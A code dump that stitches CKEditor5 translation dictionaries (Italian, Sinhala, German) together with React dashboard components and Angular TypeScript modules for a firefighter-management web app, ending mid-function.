'Salva', 'Saving changes': 'Salvataggio modifiche', 'Select all': 'Seleziona tutto', 'Select column': 'Seleziona colonna', 'Select row': 'Seleziona riga', 'Selecting resized image failed': "La selezione dell'immagine ridimensionata è fallita", 'Show more items': 'Mostra più elementi', 'Side image': 'Immagine laterale', Small: 'Piccoli', Solid: 'Solido', 'Split cell horizontally': 'Dividi cella orizzontalmente', 'Split cell vertically': 'Dividi cella verticalmente', Style: 'Stile', 'Table alignment toolbar': "Barra degli strumenti dell'allineamento della tabella", 'Table cell text alignment': 'Allineamento del testo nella cella della tabella', 'Table properties': 'Proprietà tabella', 'Table toolbar': 'Barra degli strumenti della tabella', 'Text alignment': 'Allineamento del testo', 'Text alignment toolbar': "Barra degli strumenti dell'allineamento", 'Text alternative': 'Testo alternativo', 'Text highlight toolbar': "Barra degli strumenti dell'evidenziazione del testo", 'The color is invalid. Try "#FF0000" or "rgb(255,0,0)" or "red".': 'Il colore non è valido. Provare "#FF0000" o "rgb(255,0,0)" o "red".', 'The URL must not be empty.': "L'URL non può essere vuoto.", 'The value is invalid. Try "10px" or "2em" or simply "2".': 'Il valore non è valido. Provare "10px" o "2em" o semplicemente "2".', 'This link has no URL': 'Questo collegamento non ha un URL', 'This media URL is not supported.': 'Questo URL di file multimediali non è supportato.', Tiny: 'Piccolissimi', 'Tip: Paste the URL into the content to embed faster.': "Consiglio: incolla l'URL nel contenuto per un'incorporazione più veloce.", 'To-do List': 'Elenco cose da fare', Turquoise: 'Turchese', Underline: 'Sottolineato', Undo: 'Annulla', Unlink: 'Elimina collegamento', 'Upload failed': 'Caricamento fallito', 'Upload in progress': 'Caricamento in corso', 'Vertical text alignment toolbar': "Barra degli strumenti dell'allineamento verticale del testo", White: 'Bianco', 'Widget toolbar': 'Barra degli strumenti del widget', Width: 'Larghezza', Yellow: 'Giallo', 'Yellow marker': 'Contrassegno giallo', })), (i.getPluralForm = function (e) { return 1 != e; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/ckeditor5/build/translations/si.js !(function (e) { const i = (e.si = e.si || {}); (i.dictionary = Object.assign(i.dictionary || {}, { Bold: 'තදකුරු', 'Bulleted List': 'බුලටිත ලැයිස්තුව', 'Cannot upload file:': 'ගොනුව යාවත්කාලීන කළ නොහැක:', 'Centered image': '', 'Change image text alternative': '', 'Enter image caption': '', 'Full size image': '', 'Image toolbar': '', 'image widget': '', 'Insert image': 'පින්තූරය ඇතුල් කරන්න', Italic: 'ඇලකුරු', 'Left aligned image': '', 'Numbered List': 'අංකිත ලැයිස්තුව', Redo: 'නැවත කරන්න', 'Right aligned image': '', 'Side image': '', 'Text alternative': '', 'To-do List': '', Underline: '', Undo: 'අහෝසි කරන්න', 'Upload failed': 'උඩුගත කිරීම අසාර්ථක විය', })), (i.getPluralForm = function (e) { return 1 != e; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {})); <file_sep>/src/ckeditor5/build/translations/de.js !(function (e) { const n = (e.de = e.de || {}); (n.dictionary = Object.assign(n.dictionary || {}, { '%0 of %1': '%0 von %1', 'Align cell text to the bottom': 'Zellentext unten ausrichten', 'Align cell text to the center': 'Zellentext zentriert ausrichten', 'Align cell text to the left': 'Zellentext linksbündig ausrichten', 'Align cell text to the middle': 'Zellentext mittig ausrichten', 'Align cell text to the right': 'Zellentext rechtsbündig ausrichten', 'Align cell text to the top': 'Zellentext oben ausrichten', 'Align center': 'Zentriert', 'Align left': 'Linksbündig', 'Align right': 'Rechtsbündig', 'Align table to the left': 'Tabelle links ausrichten', 'Align table to the right': 'Tabelle rechts ausrichten', Alignment: 'Ausrichtung', Aquamarine: 'Aquamarinblau', Background: 'Hintergrund', Big: 'Groß', Black: 'Schwarz', 'Block quote': 'Blockzitat', Blue: 'Blau', 'Blue marker': 'Blauer Marker', Bold: 'Fett', Border: 'Rahmen', 'Bulleted List': 'Aufzählungsliste', Cancel: 'Abbrechen', 'Cannot upload file:': 'Datei kann nicht hochgeladen werden:', 'Cell properties': 'Zelleneigenschaften', 'Center table': 'Tabelle zentrieren', 'Centered image': 'zentriertes Bild', 'Change image text alternative': 'Alternativ Text ändern', 'Choose heading': 'Überschrift auswählen', Color: 'Farbe', 'Color picker': 'Farbwähler', Column: 'Spalte', 'Could not insert image at the current position.': 'Das Bild konnte an der aktuellen Position nicht eingefügt werden.', 'Could not obtain resized image URL.': 'Die URL des angepassten Bildes konnte nicht abgerufen werden.', Dashed: 'Gestrichelt', 'Decrease indent': 'Einzug verkleinern', Default: 'Standard', 'Delete column': 'Spalte löschen', 'Delete row': 'Zeile löschen', 'Dim grey': 'Dunkelgrau', Dimensions: 'Größe', 'Document colors': 'Dokumentfarben', Dotted: 'Gepunktet', Double: 'Doppelt', Downloadable: 'Herunterladbar', 'Dropdown toolbar': 'Dropdown-Liste Werkzeugleiste', 'Edit link': 'Link bearbeiten', 'Editor toolbar': 'Editor Werkzeugleiste', 'Enter image caption': 'Bildunterschrift eingeben', 'Font Background Color': 'Hintergrundfarbe', 'Font Color': 'Schriftfarbe', 'Font Family': 'Schriftart', 'Font Size': 'Schriftgröße', 'Full size image': 'Bild in voller Größe', Green: 'Grün', 'Green marker': 'Grüner Marker', 'Green pen': 'Grüne Schriftfarbe', Grey: 'Grau', Groove: 'Eingeritzt', 'Header column': 'Kopfspalte', 'Header row': 'Kopfzeile', Heading: 'Überschrift', 'Heading 1': 'Überschrift 1', 'Heading 2': 'Überschrift 2', 'Heading 3': 'Überschrift 3', 'Heading 4': 'Überschrift 4', 'Heading 5': 'Überschrift 5', 'Heading 6': 'Überschrift 6', Height: 'Höhe', Highlight: 'Texthervorhebung', 'Horizontal line': 'Horizontale Linie', 'Horizontal text alignment toolbar': 'Werkzeugleiste für die horizontale Zellentext-Ausrichtung', Huge: 'Sehr groß', 'Image toolbar': 'Bild Werkzeugleiste', 'image widget': 'Bild-Steuerelement', 'Increase indent': 'Einzug vergrößern', 'Insert column left': 'Spalte links einfügen', 'Insert column right': 'Spalte rechts einfügen', 'Insert image': 'Bild einfügen', 'Insert image or file': 'Bild oder Datei einfügen', 'Insert media': 'Medium einfügen', 'Insert paragraph after block': '', 'Insert paragraph before block': '', 'Insert row above': 'Zeile oben einfügen', 'Insert row below': 'Zeile unten einfügen', 'Insert table': 'Tabelle einfügen', 'Inserting image failed': 'Einfügen des Bildes fehlgeschlagen', Inset: 'Eingelassen', Italic: 'Kursiv', Justify: 'Blocksatz', 'Justify cell text': 'Zellentext als Blocksatz ausrichten', 'Left aligned image': 'linksbündiges Bild', 'Light blue': 'Hellblau', 'Light green': 'Hellgrün', 'Light grey': 'Hellgrau', Link: 'Link', 'Link URL': 'Link Adresse', 'Media toolbar': 'Medien Werkzeugleiste', 'Media URL': 'Medien-Url', 'media widget': 'Medien-Widget', 'Merge cell down': 'Zelle unten verbinden', 'Merge cell left': 'Zelle links verbinden', 'Merge cell right': 'Zelle rechts verbinden', 'Merge cell up': 'Zelle verbinden', 'Merge cells': 'Zellen verbinden', Next: 'Nächste', None: 'Kein Rahmen', 'Numbered List': 'Nummerierte Liste', 'Open in a new tab': 'In neuem Tab öffnen', 'Open link in new tab': 'Link im neuen Tab öffnen', Orange: 'Orange', Outset: 'Geprägt', Padding: 'Innenabstand', Paragraph: 'Absatz', 'Paste the media URL in the input.': 'Medien-URL in das Eingabefeld einfügen.', 'Pink marker': 'Pinker Marker', Previous: 'vorherige', Purple: 'Violett', Red: 'Rot', 'Red pen': 'Rote Schriftfarbe', Redo: 'Wiederherstellen', 'Remove color': 'Farbe entfernen', 'Remove highlight': 'Texthervorhebung entfernen', 'Rich Text Editor, %0': 'Rich-Text-Editor, %0', Ridge: 'Hervorgehoben', 'Right aligned image': 'rechtsbündiges Bild', Row: 'Zeile', Save: 'Speichern', 'Saving changes': 'Änderungen werden gespeichert', 'Select all': 'Alles auswählen', 'Select column': 'Spalte auswählen', 'Select row': 'Zeile auswählen', 'Selecting resized image failed': 'Das angepasste Bild konnte nicht ausgewählt werden.', 'Show more items': 'Mehr anzeigen', 'Side image': 'Seitenbild', Small: 'Klein', Solid: 'Durchgezogen', 'Split cell horizontally': 'Zelle horizontal teilen', 'Split cell vertically': 'Zelle vertikal teilen', Style: 'Rahmenart', 'Table alignment toolbar': 'Werkzeugleiste für die Tabellen-Ausrichtung', 'Table cell text alignment': 'Ausrichtung des Zellentextes', 'Table properties': 'Tabelleneigenschaften', 'Table toolbar': 'Tabelle Werkzeugleiste', 'Text alignment': 'Textausrichtung', 'Text alignment toolbar': 'Text-Ausrichtung Toolbar', 'Text alternative': 'Textalternative', 'Text highlight toolbar': 'Text hervorheben Werkzeugleiste', 'The color is invalid. Try "#FF0000" or "rgb(255,0,0)" or "red".': 'Die Farbe ist ungültig. Probieren Sie „#FF0000“ oder „rgb(255,0,0)“ oder „red“.', 'The URL must not be empty.': 'Die Url darf nicht leer sein', 'The value is invalid. Try "10px" or "2em" or simply "2".': 'Der Wert ist ungültig. Probieren Sie „10px“ oder „2em“ oder „2“.', 'This link has no URL': 'Dieser Link hat keine Adresse', 'This media URL is not supported.': 'Diese Medien-Url wird nicht unterstützt', Tiny: 'Sehr klein', 'Tip: Paste the URL into the content to embed faster.': 'Tipp: Zum schnelleren Einbetten können Sie die Medien-URL in den Inhalt einfügen.', 'To-do List': 'Aufgabenliste', Turquoise: 'Türkis', Underline: 'Unterstrichen', Undo: 'Rückgängig', Unlink: 'Link entfernen', 'Upload failed': 'Hochladen fehlgeschlagen', 'Upload in progress': 'Upload läuft', 'Vertical text alignment toolbar': 'Werkzeugleiste für die vertikale Zellentext-Ausrichtung', White: 'Weiß', 'Widget toolbar': 'Widget Werkzeugleiste', Width: 'Breite', Yellow: 'Gelb', 'Yellow marker': 'Gelber Marker', })), (n.getPluralForm = function (e) { return 1 != e; }); })(window.CKEDITOR_TRANSLATIONS || (window.CKEDITOR_TRANSLATIONS = {}));
40e22f7a5f95562debd0323a2d930be29225ff79
[ "JavaScript", "TypeScript" ]
20
JavaScript
pdrfelix/Website-Volontaria
024fc20b630a2c6b6d9b3c63b87363fe13bfdb39
4b180c513fa1b2e1239cf89ec78f901155e736b8
refs/heads/master
<file_sep>import React from "react"; import { Route, Switch, BrowserRouter } from "react-router-dom"; import dashboardContextProvider from "./context/dashboardContext"; import "antd/dist/antd.css"; import Page from "./pages/Pages"; function App() { return ( <BrowserRouter> <Switch> <Route exact path="/"> <dashboardContextProvider> <Page /> </dashboardContextProvider> </Route> <Route exact path="/Login"> <h1>Login</h1> </Route> </Switch> </BrowserRouter> ); } export default App; <file_sep>import React from "react"; import { Select } from "antd"; const { Option } = Select; function onChange(value) { console.log(`selected ${value}`); } function onBlur() { console.log("blur"); } function onFocus() { console.log("focus"); } function onSearch(val) { console.log("search:", val); } const ButtonSelect = () => { return ( <Select defaultValue="Español" style={{ width: 120 }} onChange={handleChange} > <Option value="Ingles">Ingles</Option> <Option value="Portugués">Portugues</Option> <Option value="Español">Español</Option> </Select> ); }; export default ButtonSelect; <file_sep>import React, { useEffect, useState } from "react"; import { Menu } from "antd"; import { HomeTwoTone, FileTwoTone } from "@ant-design/icons"; const { SubMenu } = Menu; const SideMenu = () => { return ( <Menu mode="inline" defaultSelectedKeys={["1"]} defaultOpenKeys={["sub1"]} style={{ height: "100%", borderRight: 0 }} > <SubMenu key="sub1" icon={<HomeTwoTone />} title="Inicio"> <Menu.Item key="1">Crear empresa</Menu.Item> <Menu.Item key="2">Buscar empresa</Menu.Item> <Menu.Item key="3">Actualizar empresa</Menu.Item> <Menu.Item key="4">Listar empresas</Menu.Item> </SubMenu> <SubMenu key="sub2" icon={<FileTwoTone />} title="Reportes"> <Menu.Item key="5">option5</Menu.Item> <Menu.Item key="6">option6</Menu.Item> <Menu.Item key="7">option7</Menu.Item> <Menu.Item key="8">option8</Menu.Item> </SubMenu> </Menu> ); }; export default SideMenu; <file_sep>import { Avatar, Image } from "antd"; import { UserOutlined } from "@ant-design/icons"; const AvatarContainer = () => { return ( <> <Avatar style={{ color: "#f56a00", backgroundColor: "#fde3cf", }} > U </Avatar> </> ); }; export default AvatarContainer;
df7b7a41ede92c4e960433dd6945bbc13ff05da0
[ "JavaScript" ]
4
JavaScript
hadmarcano/test-dashboard-react
c3ab28e83f66a316b44b45de791b1b465976f492
a7632adf39a73398fc26d2855f7eeafdd4305002
refs/heads/master
<file_sep>export * from './language.service'; export * from './translate-resolver'; <file_sep>import { MainComponent } from './main.component'; import { Routes } from '@angular/router'; import { TranslateResolver } from '@app/core/language'; import { UserAccessGuard } from '@app/core/auth'; export const MAIN_ROUTES: Routes = [ { path: '', component: MainComponent, canActivate: [UserAccessGuard], data: { i18n: ['login'] }, resolve: { translation: TranslateResolver }, children: [ { path: 'firefighters', loadChildren: './firefighters/firefighters.module#FirefightersModule' }, { path: 'actions', loadChildren: './actions/actions.module#ActionsModule' }, { path: 'cars', loadChildren: './cars/cars.module#CarsModule' }, { path: 'medical-examination', loadChildren: './medical-examination/medical-examination.module#MedicalExaminationModule' }, { path: 'courses', loadChildren: './courses/courses.module#CoursesModule' }, { path: 'payments', loadChildren: './payments/payments.module#PaymentsModule' }, { path: 'equipment', loadChildren: './equipment/equipment.module#EquipmentModule' }, { path: '**', redirectTo: '/' } ] } ]; <file_sep>import { Component, OnInit } from '@angular/core'; import { Column } from './../../components/table/models/column'; import { PaginationConfig } from '@app/shared/model'; import { PaymentsModalTable } from './payments-modal/payments-modal.table'; import { PaymentsService } from './payments.service'; import { PaymentsTable } from './payments.table'; import { Principal } from '@app/core/auth'; import { TableService } from '@app/components/table'; @Component({ selector: 'app-payments', templateUrl: './payments.component.html', styleUrls: ['./payments.component.scss'], providers: [PaymentsTable, PaymentsModalTable, TableService] }) export class PaymentsComponent implements OnInit { tableConfiguration: Column[]; tableData: any[]; paginationConfig = new PaginationConfig(); lastPayment: { isPaid: boolean, lastPaidYear: number } = { isPaid: false, lastPaidYear: 0 }; constructor( private tableConfig: PaymentsTable, private paymentsService: PaymentsService, private principal: Principal, private tableModalConfig: PaymentsModalTable ) { } ngOnInit() { if (this.principal.hasPermision('ADMIN')) { this.tableConfiguration = this.tableConfig.getConfig(this.loadPayments.bind(this)); this.loadPayments(); } else { this.tableConfiguration = this.tableModalConfig.getConfig(); this.loadFirefighterPayments(); } } changePage(evt) { this.loadPayments({ page: evt.pageIndex + 1 }); } private loadPayments(params: Object = { page: 1 }) { this.paymentsService.findAll(params).subscribe(data => { this.tableData = data.body.data; this.paginationConfig.length = +data.body.totalCount; }); } private loadFirefighterPayments() { this.paymentsService.findFirefighterPayments(this.principal.getUserId()).subscribe(data => { this.tableData = data; this.getLastPaidYear(); }); } private getLastPaidYear() { const lastYear = this.tableData.reduce((paidYearFirst: any, paidYearSecond: any) => { return paidYearFirst.paidYear > paidYearSecond.paidYear ? paidYearFirst : paidYearSecond; }); this.lastPayment = { isPaid: new Date().getFullYear() <= lastYear.paidYear, lastPaidYear: lastYear.paidYear }; } } <file_sep>import { MatDatepickerModule, MatInputModule, MatNativeDateModule } from '@angular/material'; import { DatePickerComponent } from './date-picker.component'; import { NgModule } from '@angular/core'; import { SharedModule } from '@app/shared'; @NgModule({ imports: [ SharedModule, MatInputModule, MatDatepickerModule, MatNativeDateModule ], declarations: [DatePickerComponent], exports: [DatePickerComponent] }) export class DatePickerModule {} <file_sep>export enum ColumnType { TEXT, TRANSLATE_TEXT, DATE, DATE_TIME, TIME, ICON, LIST } <file_sep>import * as _ from 'lodash'; import { Component, Inject, OnInit } from '@angular/core'; import { FirefighterType, Gender } from '@app/shared/enums'; import { FormBuilder, FormGroup, Validators } from '@angular/forms'; import { AppToastrService } from '@app/core/toastr'; import { EnumService } from '@app/core/enum'; import { Firefighter } from '@app/shared/model/firefighters'; import { FirefightersService } from '@app/main/firefighters/firefighters.service'; import { MAT_DIALOG_DATA } from '@angular/material'; import { ModalService } from '@app/components/modal'; import { SelectDictionary } from '@app/shared/model'; @Component({ selector: 'app-firefighters-modal', templateUrl: './firefighters-modal.component.html', styleUrls: ['./firefighters-modal.component.scss'] }) export class FirefightersModalComponent implements OnInit { firefightersForm: FormGroup; types: Array<SelectDictionary>; genders: Array<SelectDictionary>; constructor( private fb: FormBuilder, private firefightersService: FirefightersService, private toastr: AppToastrService, private modal: ModalService, private enumService: EnumService, @Inject(MAT_DIALOG_DATA) private data: { id: number } ) {} ngOnInit() { this.getFirefighterById(); this.firefightersForm = this.createFirefightersForm(); this.types = this.enumService.create(FirefighterType, 'firefighters.types'); this.genders = this.enumService.create(Gender, 'firefighters.genders'); } save(): void { if (this.data.id) { this.updateFirefighter(); } else { this.saveFirefighter(); } } createLogin(): void { const name = this.firefightersForm.get('name').value; const surname = this.firefightersForm.get('surname').value; const letterToReplece = ['ą', 'ć', 'ę', 'ł', 'ń', 'ó', 'ś', 'ź', 'ż']; const replecedLetter = ['a', 'c', 'e', 'l', 'n', 'o', 's', 'z', 'z']; if (name && surname) { let login = `${name[0].toLowerCase()}${surname.toLowerCase()}`; for (let i = 0; i < letterToReplece.length; i++) { login = login.replace(letterToReplece[i], replecedLetter[i]); } this.firefightersForm.patchValue({ login: login }); } } private saveFirefighter(): void { const firefighterData = this.firefightersForm.getRawValue(); firefighterData.role = firefighterData.role ? 'ADMIN' : 'USER'; this.firefightersService .save(firefighterData) .subscribe( (firefighter: Firefighter) => { this.toastr.success('firefighters.msg.create.success', { name: `${firefighter.name} ${firefighter.surname}` }); this.modal.close(); }, () => this.toastr.error('firefighters.msg.create.error') ); } private updateFirefighter(): void { const firefighterData = this.firefightersForm.getRawValue(); firefighterData.role = firefighterData.role ? 'ADMIN' : 'USER'; this.firefightersService .update(this.data.id, firefighterData) .subscribe( (firefighter: Firefighter) => { this.toastr.success('firefighters.msg.update.success', { name: `${firefighter.name} ${firefighter.surname}` }); this.modal.close(); }, () => this.toastr.error('firefighters.msg.update.error') ); } private getFirefighterById(): void { if (this.data.id) { this.firefightersService .findById(this.data.id) .subscribe((firefighter: Firefighter) => { this.firefightersForm.patchValue({ name: firefighter.name, surname: firefighter.surname, login: firefighter.login, gender: firefighter.gender, birthdayDate: firefighter.birthdayDate, entryDate: firefighter.entryDate, type: firefighter.type, role: firefighter.role === 'ADMIN' }); }); } } private createFirefightersForm(): FormGroup { return this.fb.group({ name: ['', Validators.required], surname: ['', Validators.required], login: [{ value: '', disabled: true }, Validators.required], gender: ['', Validators.required], birthdayDate: ['', Validators.required], entryDate: ['', Validators.required], type: ['', Validators.required], role: [false] }); } } <file_sep>import { ActivatedRouteSnapshot, CanActivate, Router } from '@angular/router'; import { Injectable } from '@angular/core'; import { JwtHelperService } from '@auth0/angular-jwt'; import { get } from 'lodash'; @Injectable() export class UserAccessGuard implements CanActivate { constructor(private router: Router) { } canActivate(route: ActivatedRouteSnapshot): boolean { const token = sessionStorage.getItem('authorization-token'); if (token) { const helper = new JwtHelperService(); const roles = get(route, 'data.role') as string[]; if (helper.isTokenExpired(token)) { this.router.navigate(['login']); return !helper.isTokenExpired(token); } if (roles && !(roles.length === 0 || roles.includes(helper.decodeToken(token).scope))) { this.router.navigate(['/']); return false; } return true; } this.router.navigate(['login']); return false; } } <file_sep>import { Component, OnInit } from '@angular/core'; import { EquipmentItem, PaginationConfig } from '@app/shared/model'; import { Column } from '@app/components/table/models'; import { EquipmentDeleteComponent } from './equipment-delete/equipment-delete.component'; import { EquipmentModalComponent } from './equipment-modal/equipment-modal.component'; import { EquipmentService } from './equipment.service'; import { EquipmentTable } from './equipment.table'; import { ModalService } from '@app/components/modal'; import { TableService } from '@app/components/table'; @Component({ selector: 'app-equipment', templateUrl: './equipment.component.html', styleUrls: ['./equipment.component.scss'], providers: [EquipmentTable, TableService] }) export class EquipmentComponent implements OnInit { tableData: Array<EquipmentItem>; tableConfig: Array<Column>; paginationConfig: PaginationConfig = new PaginationConfig(); constructor(private modal: ModalService, private equipmentService: EquipmentService, private equipmentTable: EquipmentTable) { this.tableConfig = this.equipmentTable.getConfig(); } ngOnInit() { this.loadEquipmen(); } changePage(evt): void { this.loadEquipmen({ page: evt.pageIndex + 1 }); } openAddDialog(): void { this.modal .open(EquipmentModalComponent) .beforeClose() .subscribe(() => this.loadEquipmen()); } openEditDialog(equipmentItem: EquipmentItem): void { this.modal .open(EquipmentModalComponent, { id: equipmentItem.id }) .beforeClose() .subscribe(() => this.loadEquipmen()); } openDeleteDialog(equipmentItem: EquipmentItem): void { this.modal .open(EquipmentDeleteComponent, { id: equipmentItem.id, name: equipmentItem.name }) .beforeClose() .subscribe(() => this.loadEquipmen()); } private loadEquipmen(params: Object = { page: 1 }): void { this.equipmentService.findAll(params).subscribe((data: any) => { this.paginationConfig.length = +data.body.totalCount; this.tableData = data.body.data; }); } } <file_sep>import { CUSTOM_ELEMENTS_SCHEMA, NgModule } from '@angular/core'; import { MatButtonModule, MatDialogModule } from '@angular/material'; import { ConfirmModalComponent } from './confirm-modal/confirm-modal.component'; import { ModalComponent } from './modal.component'; import { ModalService } from './modal.service'; import { SharedModule } from '@app/shared'; @NgModule({ imports: [SharedModule, MatButtonModule, MatDialogModule], declarations: [ModalComponent, ConfirmModalComponent], exports: [ModalComponent, ConfirmModalComponent], providers: [ModalService], schemas: [CUSTOM_ELEMENTS_SCHEMA] }) export class ModalModule {} <file_sep>import { Component, Inject, OnInit } from '@angular/core'; import { FormBuilder, FormGroup, Validators } from '@angular/forms'; import { AppToastrService } from '@app/core/toastr'; import { Column } from '@app/components/table/models'; import { MAT_DIALOG_DATA } from '@angular/material'; import { PaymentsModalTable } from './payments-modal.table'; import { PaymentsService } from '../payments.service'; @Component({ selector: 'app-payments-modal', templateUrl: './payments-modal.component.html', styleUrls: ['./payments-modal.component.scss'], providers: [PaymentsModalTable] }) export class PaymentsModalComponent implements OnInit { paymentsForm: FormGroup; tableConfiguration: Column[]; tableData: any[]; constructor( private fb: FormBuilder, private paymentsService: PaymentsService, private tableConfig: PaymentsModalTable, private toastr: AppToastrService, @Inject(MAT_DIALOG_DATA) private firefighter: { id: number, name: string } ) { } ngOnInit() { this.paymentsForm = this.createPaymentsForm(); this.tableConfiguration = this.tableConfig.getConfig(); this.getFirefighterPayments(); } save() { this.paymentsService.create({ paidYear: this.paymentsForm.get('lastPayment').value.getFullYear(), FirefighterId: this.firefighter.id }).subscribe(() => { this.getFirefighterPayments(); this.paymentsForm.reset(); this.toastr.success('payments.msg.create.success', { name: this.firefighter.name }); }, () => this.toastr.error('payments.msg.create.error')); } private getFirefighterPayments() { this.paymentsService.findFirefighterPayments(this.firefighter.id).subscribe(data => { this.tableData = data; }); } private createPaymentsForm(): FormGroup { return this.fb.group({ lastPayment: ['', Validators.required] }); } } <file_sep>import { MatIconModule, MatTableModule, MatTooltipModule } from '@angular/material'; import { NgModule } from '@angular/core'; import { SharedModule } from '@app/shared'; import { TableComponent } from './table.component'; import { TableService } from './table.service'; @NgModule({ imports: [ SharedModule, MatIconModule, MatTooltipModule, MatTableModule ], declarations: [TableComponent], exports: [TableComponent], providers: [TableService] }) export class TableModule { } <file_sep>import * as _ from 'lodash'; import { Component, OnInit } from '@angular/core'; import { FormBuilder, FormGroup, Validators } from '@angular/forms'; import { Minimal, SelectDictionary } from '@app/shared/model'; import { ActionsModalTable } from './actions-modal.table'; import { ActionsService } from './../actions.service'; import { ActionsType } from '@app/shared/enums'; import { AddFirefightersComponent } from './add-firefighters/add-firefighters.component'; import { AddMultitudeModalComponent } from './add-multitude-modal/add-multitude-modal.component'; import { AddUsedEquipmentItemsComponent } from './add-used-equipment-items/add-used-equipment-items.component'; import { AppToastrService } from '@app/core/toastr'; import { Column } from '@app/components/table/models'; import { EnumService } from '@app/core/enum'; import { ModalService } from '@app/components/modal'; @Component({ selector: 'app-actions-modal', templateUrl: './actions-modal.component.html', styleUrls: ['./actions-modal.component.scss'], providers: [ActionsModalTable] }) export class ActionsModalComponent implements OnInit { actionForm: FormGroup; actionsType: Array<SelectDictionary>; cars: Array<Object> = []; firefighters: Array<Minimal> = []; equipmentItems: Array<Minimal> = []; equipmentItemsTableConfig: Array<Column>; carsTableConfig: Array<Column>; firefightersTableConfig: Array<Column>; constructor( private fb: FormBuilder, private modal: ModalService, private enumService: EnumService, private toastr: AppToastrService, private actionsService: ActionsService, private actionsModalTable: ActionsModalTable ) {} ngOnInit() { this.actionForm = this.createActionForm(); this.actionsType = this.enumService.create(ActionsType, 'actions.actionsType'); this.carsTableConfig = this.actionsModalTable.getCarsConfig(); this.firefightersTableConfig = this.actionsModalTable.getFirefightersConfig(); this.equipmentItemsTableConfig = this.actionsModalTable.getEquipmentItemsConfig(); } save(): void { if (this.validateData()) { const data = { equipmentItems: this.equipmentItems, cars: this.cars, firefighters: this.firefighters }; const dataToSend = _.assignIn(this.actionForm.value, data); this.actionsService.save(dataToSend).subscribe(actionData => { this.toastr.success('actions.messages.success', { id: actionData.id }); this.modal.close(); }, () => { this.toastr.error('actions.messages.error'); }); } } deleteMultitude(car: any) { this.cars.splice(_.findIndex(this.cars, car), 1); } openCheckUsedEquipmentItems(): void { this.modal.open(AddUsedEquipmentItemsComponent, this.equipmentItems, { width: '500px' }) .afterClosed().subscribe((data: Array<Minimal>) => { if (data) { this.equipmentItems = data; } }); } openAddEditMultitudeModal(car: any = {}): void { this.modal .open(AddMultitudeModalComponent, car, { width: '500px' }) .afterClosed().subscribe((data: Object) => { if (data) { const multitude = _.cloneDeep(this.cars); multitude.push(data); this.cars = multitude; } }); } openAddOrChangeFirefightersModal(): void { const data = { cars: this.cars }; if (this.firefighters.length) { _.assignIn(data, { firefighters: this.firefighters }); } this.modal .open(AddFirefightersComponent, data, { width: '500px' }) .afterClosed().subscribe((firefighter: Array<Minimal>) => { if (firefighter) { this.firefighters = firefighter; } }); } private validateData() { let isError = true; if (!_.size(this.cars)) { isError = false; this.toastr.error('actions.validation.noCars'); } if (!_.size(this.firefighters)) { isError = false; this.toastr.error('actions.validation.noFirefighters'); } return isError; } private createActionForm(): FormGroup { return this.fb.group({ date: ['', [Validators.required]], time: ['', [Validators.required]], kind: ['', [Validators.required]], eventAddress: ['', [Validators.required]], reportNumber: ['', [Validators.required]] }); } } <file_sep>import { Injectable } from '@angular/core'; import { ToastrService } from 'ngx-toastr'; import { TranslateService } from '@ngx-translate/core'; @Injectable() export class AppToastrService { constructor( private toastr: ToastrService, private translate: TranslateService ) {} success(msg: string, params?: Object, title: string = 'global.success') { this.toastr.success( this.translate.instant(msg, params), this.translate.instant(title) ); } error(msg: string, params?: Object, title: string = 'global.failure') { this.toastr.error( this.translate.instant(msg, params), this.translate.instant(title) ); } warning(msg: string, params?: Object, title?: string) { this.toastr.warning( this.translate.instant(msg, params), this.translate.instant(title) ); } info(msg: string, params?: Object, title?: string) { this.toastr.info( this.translate.instant(msg, params), this.translate.instant(title) ); } } <file_sep>export class EquipmentItem { id?: number; name: string; approvalDate: Date; } <file_sep>import { MatButtonModule, MatCheckboxModule, MatInputModule, MatSelectModule } from '@angular/material'; import { NO_ERRORS_SCHEMA, NgModule } from '@angular/core'; import { DatePickerModule } from '@app/components/date-picker'; import { FirefightersComponent } from './firefighters.component'; import { FirefightersDeleteComponent } from './firefighters-delete/firefighters-delete.component'; import { FirefightersModalComponent } from './firefighters-modal/firefighters-modal.component'; import { FirefightersRoutingModule } from './firefighters.routing'; import { FirefightersService } from './firefighters.service'; import { ModalModule } from '@app/components/modal'; import { PaginationModule } from '@app/components/pagination'; import { SharedModule } from '@app/shared'; import { TableModule } from '@app/components/table'; @NgModule({ imports: [ SharedModule, TableModule, PaginationModule, MatButtonModule, ModalModule, MatInputModule, MatSelectModule, MatCheckboxModule, DatePickerModule, FirefightersRoutingModule ], declarations: [ FirefightersComponent, FirefightersModalComponent, FirefightersDeleteComponent ], entryComponents: [FirefightersModalComponent, FirefightersDeleteComponent], providers: [FirefightersService], schemas: [NO_ERRORS_SCHEMA] }) export class FirefightersModule {} <file_sep>import { Component, Input } from '@angular/core'; import { ControlValueAccessor, NG_VALUE_ACCESSOR } from '@angular/forms'; @Component({ selector: 'app-input-number', templateUrl: './input-number.component.html', styleUrls: ['./input-number.component.scss'], providers: [{ provide: NG_VALUE_ACCESSOR, useExisting: InputNumberComponent, multi: true }] }) export class InputNumberComponent implements ControlValueAccessor { @Input() translateTooltip: string; @Input() translateKey: string; inputValue: any; onChange: Function = () => {}; onTouched: Function = () => {}; writeValue(val: number): void { this.inputValue = val; } registerOnChange(fn: Function): void { this.onChange = fn; } registerOnTouched(fn: Function): void { this.onTouched = fn; } onKeyPress(e: any) { const regex = /^[0-9]$/; if (!regex.test(e.key)) { e.preventDefault(); } } onKeyUpEvt(e: any) { this.onChange(parseInt(e.target.value, 10)); } } <file_sep>import * as _ from 'lodash'; import { Component, Inject, OnInit } from '@angular/core'; import { EquipmentService } from '@app/main/equipment/equipment.service'; import { MAT_DIALOG_DATA } from '@angular/material'; import { Minimal } from '@app/shared/model'; import { ModalService } from '@app/components/modal'; @Component({ selector: 'app-add-used-equipment-items', templateUrl: './add-used-equipment-items.component.html', styleUrls: ['./add-used-equipment-items.component.scss'], providers: [EquipmentService] }) export class AddUsedEquipmentItemsComponent implements OnInit { equipmentItems: Array<Minimal>; checkboxesModel: Array<boolean> = []; usedEquipmentItems: Array<Minimal> = []; constructor( private equipmentService: EquipmentService, private modal: ModalService, @Inject(MAT_DIALOG_DATA) public selectedEquipment: Array<Minimal> ) { } ngOnInit() { this.loadMinimaEquipmentItems(); } add() { this.modal.close(this.usedEquipmentItems); } selectEquipmentItem(equipmentItem: Minimal) { const elIdx = _.findIndex(this.usedEquipmentItems, { id: equipmentItem.id }); if (elIdx === -1) { 